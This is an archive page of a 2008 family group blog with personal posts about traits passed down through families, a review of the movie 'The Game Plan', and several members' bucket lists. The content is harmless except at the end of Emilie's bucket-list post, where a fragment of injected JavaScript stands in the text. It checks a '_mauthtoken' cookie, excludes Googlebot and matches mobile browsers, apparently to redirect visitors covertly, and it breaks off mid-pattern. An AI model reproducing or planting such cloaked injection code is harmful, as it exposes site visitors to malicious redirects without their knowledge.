Archive for January, 2008

Pass It On: Murphy

What do I want to pass on ? Or what to I think I’m passing on to my kids without realizing it ?

  1. A love for music- many kinds.
  2. A love for laughing.
  3. Spotting a jet in the sky after you hear the sound of it flying over head.
  4. Funny faces.
  5. A love for cooking out – and eating outside together as a family.
  6. A love for nostalgia.

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January 29, 2008 at 3:26 pm Leave a comment

Daddy’s Little Girl – the Game Plan movie review (by Jodi)

I knew I’d love this movie.  I knew it would be touching because it is Disney.   I knew that even if it has no heart or laughs that I would still watch it because I like to look at “The Rock”.  And I cannot apologize for this.  He is a strikingly attractive man. 

A little predictable – but, worth it.  Worth it, worth it.  A good family movie that everyone can watch. 

But TEAR ALERT!!  Daddy / Daughter scenario always gets me.  Probably because I really miss my Daddy. 

There is a part in the movie where the Dad (the Rock) sings and plays guitar to the little girl.  This is what made me cry.  I was falling apart watching this.  My Daddy used to do this for me.  Usually he’d sing Don Williams or something like that.  But it was special and beautiful.  Watching that movie made me miss him more than I have lately.  But I welcomed the tears – because anything that makes me remember him, I am grateful for.

Rent it (i bought it) – it is a sweet story.  And, did I mention – Dwayne “The Rock” Johnson is in it ? 🙂  Magnificent.

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January 29, 2008 at 8:43 am Leave a comment

Emilie: What’s been passed on to me…

We talked about the things that are passed onto us from our parents and a couple came to me.

To this day my dad and I love to watch Major League Baseball games together. It’s more exciting when it’s the Braves because that’s our team! It started when I was learning to play softball. When I was younger the only MLB games we could catch were the Cubs/White Sox on WGN and the Braves on TBS and for some reason I liked the Braves – and it was when they were terrible (just in case any of you were thinking I was a bandwagon fan…). So my dad and I print out monthly schedules starting in April and going to October with each Braves game marked down. After the game we jot the score down and maybe a few facts. The best days are when we both have time to sit and watch a 3 hour game together and we print out a score sheet my dad so intelligently made and keep score for each batter and pitcher. This year will be sweeter because now we can watch the games in HD!!!! Thanks Dad for those memories. I’ll make sure my kids know what numbers correspond to the positions in baseball.

Something I’ll always remember about my mom that she passed down to me is something totally different. You know those mornings or nights when the sun is rising/setting and the sky has that pinkish, orange glow? Well my mom told us when we were little that she went out and painted the sky for us (my sisters and me). And to this day I see it and think of her. I think I’ll tell my kids (when that day comes…) that Maw Maw painted it for them. Thanks Mom :o)

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January 28, 2008 at 7:50 am Leave a comment

Jodi’s Bucket List

1 – Always wanted to help bring a baby into the world…other than my own.  I’ve never been on that end of the birthing room 🙂 .  Now, I just have to find a pregnant woman who has no problem with me being there.  But I’m serious, and I really want to experience it.

2 – Want to travel to and experience other countries.  I’m thinking Ireland, Switzerland, France.  Gotta start saving the money for it, but I will do it.

3 – Do something positive, impactful for children who have low self-esteem.  I believe it is one of the BIGGEST problems facing children today.  It affects EVERYTHING in life.  Don’t know exactly what I’ll do to achieve this, but I’m thinking on it.

Any ideas – especially on the self-esteem front, let me know.  I’d love to hear from you.

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January 23, 2008 at 2:10 pm 1 comment

Emilie’s bucket list

Ok so my bucket list may not be earth shattering, but I’ve always thought about doing these three things since I was little.

1. Take off 3 months and travel Europe.  Back pack, take pictures, sleep in all different kinds of cities…it’s something I need to do before I die.  I think I might have waited too long and my next chance may be when I retire in 40 something years.  Wow.  That’s a long time away!

2. Ride a tandem bike.  I know this sounds lame, but it just amazes me how the tandem bike works.  To me it takes so much teamwork!

3. Ride in a hot air balloon.  I can’t think of a better way to see the city except in a hot air balloon.  It’s quiet and it seems to personal.  It’s you and maybe 2 or 3 other people in a small basket looking down at the hustle and bustle below.   This is the one it sounds like I’ll attempt to do in the next few months.  Do you have any help for me in trying to find a hot air balloon to ride up in?  EMAIL ME!

Thanks!

PS – I’m still working on shedding those 5 pounds I promised to lose in my last blog.  I haven’t gotten on the scale in a week, so hopefully I’m doing good!if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 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January 23, 2008 at 10:13 am Leave a comment

Bucket List : Murphy

Thanks to Mr Nicholson and Mr Freeman in “The Bucket List”, we’re all thinking about the things we would absolutely want to do before departing the planet. Would love to hear yours….here are mine…

Take a Trip with Jodi to Wine Country-Funny how this becomes an enticing trip as you approach 40. Would have never thought of it before.

Go to a taping of any TV show in the studio audience. I’m just a junkie for “behind the scenes”. It’s usually my favorite part of DVDs

Setup a Perpetual Charity- nothing huge- just something that will keep giving after I am gone. I’m not rich, and have no inheritance coming my way, but there are easy ways to set these up now. Even if it only generates a few hundred dollars a year, at least it will be giving to someone who may need.

Those are the three. Now I have to put them into action !

Murphy

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January 19, 2008 at 10:09 am Leave a comment

Sam’s Bucket List

Thanks to this Bucket List movie, someone came up with the bright idea that each of us needed to come up with our bucket list.  By the way, that would be the list of things you want to do before you kick the bucket.

Now I’ve come with these before and the plan to learn the guitar/banjo fell through because I was lazy.  And the idea of skydiving sobered me up one day tp realize it was a bit foolhardy.

Now however, one of those ideas is back on my new bucket list…the skydiving.

We all agreed on a list of three things.

Number one for me is and will always be flying in space.  Where it’s a shuttle thing floating around for a week or an actual moon landing I don’t care.  I’ve loved space since I was a kid.  I saw moon landings live.  I have had telescopes.  I’ve met astronauts.  It’s what I should have done with my life actually, but I wasn’t into all the math and science in school.

More than likely the space thing won’t happen because it is too expensive and I’m not getting younger.  But, you never know if space travel will become commonplace in a decade.  I guess that’ll be my hope.

Secondly, I want to meet Paul McCartney…the Beatle.  I don’t mean just a quick howdy do handshake.  I mean a nice meeting for a couple of hours to talk to him about life. I’m not intending to be a psycho stalker or ask the most mundane questions, but I’d like to know, honestly, what it has been like to be him.

Finally, the skydiving thing.  Last time I was all for it.  In fact I even contacted the folks who would take me up and push me out.  I think at that point it really sunk in that this could happen.  Then I started to think about actually taking the step off the plane and falling into nothingness.  That stopped that whimsy right there.  I wanted no part of it.  Now however I do.

What makes this time different?  I’m not sure.  Maybe because I’m older and just ready to do it. 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